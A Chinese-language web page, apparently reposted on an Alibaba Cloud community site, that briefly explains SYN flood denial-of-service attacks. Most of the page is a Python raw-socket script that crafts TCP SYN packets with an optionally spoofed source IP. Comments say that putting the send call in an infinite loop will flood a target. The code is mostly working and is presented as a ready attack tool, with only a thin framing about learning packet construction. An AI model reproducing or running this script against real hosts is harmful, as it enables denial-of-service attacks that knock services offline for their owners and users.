Python實現SYN Flood攻擊

來源:互聯網
上載者:User

標籤:

 0×00 背景

SYN Flood是當前最流行的DoS(拒絕服務的攻擊)與DDoS(分散式阻斷服務攻擊)的方式之一,這是一種利用TCP協議缺陷,發送大量偽造的TCP串連請求,從而使得被攻擊方資源耗盡(CPU滿負荷或記憶體不足)的攻擊方式。

0×01 Code

本文章的目是介紹使用python構造packet的方法。
使用raw socket來發送packets。 該程式只適用於Linux。windows可以嘗試調用winpcap。

‘‘‘    Syn flood program in python using raw sockets (Linux)        Silver Moon ([email protected])‘‘‘ # some importsimport socket, sysfrom struct import * # checksum functions needed for calculation checksumdef checksum(msg):    s = 0    # loop taking 2 characters at a time    for i in range(0, len(msg), 2):        w = (ord(msg[i]) << 8) + (ord(msg[i+1]) )        s = s + w        s = (s>>16) + (s & 0xffff);    #s = s + (s >> 16);    #complement and mask to 4 byte short    s = ~s & 0xffff        return s #create a raw sockettry:    s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)except socket.error , msg:    print ‘Socket could not be created. Error Code : ‘ + str(msg[0]) +‘ Message ‘ + msg[1]    sys.exit() # tell kernel not to put in headers, since we are providing its.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)    # now start constructing the packetpacket = ‘‘; source_ip = ‘192.168.1.101‘dest_ip = ‘192.168.1.1‘ # or socket.gethostbyname(‘www.google.com‘) # ip header fieldsihl = 5version = 4tos = 0tot_len = 20 + 20  # python seems to correctly fill the total length, dont know how ??id = 54321  #Id of this packetfrag_off = 0ttl = 255protocol = socket.IPPROTO_TCPcheck = 10  # python seems to correctly fill the checksumsaddr =socket.inet_aton ( source_ip )  #Spoof the source ip address if you want todaddr = socket.inet_aton ( dest_ip ) ihl_version = (version << 4) + ihl # the ! in the pack format string means network orderip_header = pack(‘!BBHHHBBH4s4s‘, ihl_version, tos, tot_len, id, frag_off, ttl, protocol, check, saddr, daddr) # tcp header fieldssource = 1234   # source portdest = 80   # destination portseq = 0ack_seq = 0doff = 5    #4 bit field, size of tcp header, 5 * 4 = 20 bytes#tcp flagsfin = 0syn = 1rst = 0psh = 0ack = 0urg = 0window = socket.htons (5840)    #   maximum allowed window sizecheck = 0urg_ptr = 0 offset_res = (doff << 4) + 0tcp_flags = fin + (syn << 1) + (rst << 2) + (psh <<3) +(ack << 4) + (urg << 5) # the ! in the pack format string means network ordertcp_header = pack(‘!HHLLBBHHH‘, source, dest, seq, ack_seq, offset_res, tcp_flags,  window, check, urg_ptr) # pseudo header fieldssource_address = socket.inet_aton( source_ip )dest_address = socket.inet_aton(dest_ip)placeholder = 0protocol = socket.IPPROTO_TCPtcp_length = len(tcp_header) psh = pack(‘!4s4sBBH‘, source_address , dest_address , placeholder , protocol , tcp_length);psh = psh + tcp_header; tcp_checksum = checksum(psh) # make the tcp header again and fill the correct checksumtcp_header = pack(‘!HHLLBBHHH‘, source, dest, seq, ack_seq, offset_res, tcp_flags,  window, tcp_checksum , urg_ptr) # final full packet - syn packets dont have any datapacket = ip_header + tcp_header #Send the packet finally - the port specified has no effects.sendto(packet, (dest_ip , 0))    # put this in a loop if you want to flood the target #put the above line in a loop like while 1: if you want to flood

注意:運行時需要Root許可權。

Python實現SYN Flood攻擊

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.